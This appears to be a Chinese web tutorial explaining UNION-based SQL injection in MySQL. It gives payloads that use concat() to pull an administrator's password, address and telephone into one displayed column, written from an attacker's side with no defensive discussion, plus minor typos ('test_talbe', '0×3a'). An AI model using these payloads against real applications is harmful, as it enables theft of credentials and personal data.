Mysql数据库使用concat函数执行SQL注入查询_MySQL
例如:原本查询语句是
代码如下:
select username,email,content from test_table where user_id=uid;
其中uid,是用户输入的。正常显示结果会出现用户名,用户邮箱,用户留言内容。但是如果uid过滤不严,我们可以构造如下SQL语句来获得任意数据表信息。
代码如下:
uid=-1 union select username ,password,content from test_talbe where user_id=管理员id;
实际执行就是
代码如下:
select username,email,content from test_table where user_id=-1 union select username ,password,content from test_talbe where user_id=管理员id;
其中显示正常用户emai的地方,变成了显示管理员的密码了。
但是,往往事情并不是这么简单,首先要找到漏洞,其次构造这种语句时候要考虑各个字段的类型,让int或samllint类型的字段显示varchar显然不合适。最后就是本文要说的。
如果出现问题的SQL语句只有一个或两个字段怎么办,我们想知道很多东西,一两个字段太少了,远远不能满足我们的需要。那么我们可以使用concat函数。
concat函数本来是这样用的SELECT CONCAT('My', 'S', 'QL');执行结果是'MySQL'。也就是连接作用的。我们利用它来为我们服务,
代码如下:
uid=-1 union select username ,concat(password,sex,address,telephone),content from test_talbe where user_id=管理员id;
这个语句实际查询了六个字段,但是显示的时候,把password,sex,address,telephone等字段合在一起,显示在原本应该显示email的地方。
更好的方法:中间用分隔符分开:
代码如下:
uid=-1 union select username ,concat(password,0×3a,sex,0×3a,address,0×3a,telephone) ,content from test_talbe where user_id=管理员id;
其中0×3a是“:”的十六进 制形式。
下一篇: php读取配置文件的代码一例
推荐阅读
-
数据库查询排序使用随机排序结果示例(Oracle/MySQL/MS SQL Server)
-
mysql函数拼接查询concat函数的使用方法
-
MySQL递归查询_函数语法检查_GROUP_CONCAT组合结果集的使用
-
MySql中如何使用 explain 查询 SQL 的执行计划
-
使用SQL语句查询MySQL,SQLServer,Oracle所有数据库名和表名,字段名
-
「MySQL系列」分析Sql执行时间及查询执行计划(附数据库和一千万数据)
-
Python使用sql语句对mysql数据库多条件模糊查询的思路详解
-
通用SQL数据库查询语句精华使用简介_MySQL
-
在MySQL数据库中使用C执行SQL语句_MySQL
-
在SQL中使用convert函数进行日期的查询_MySQL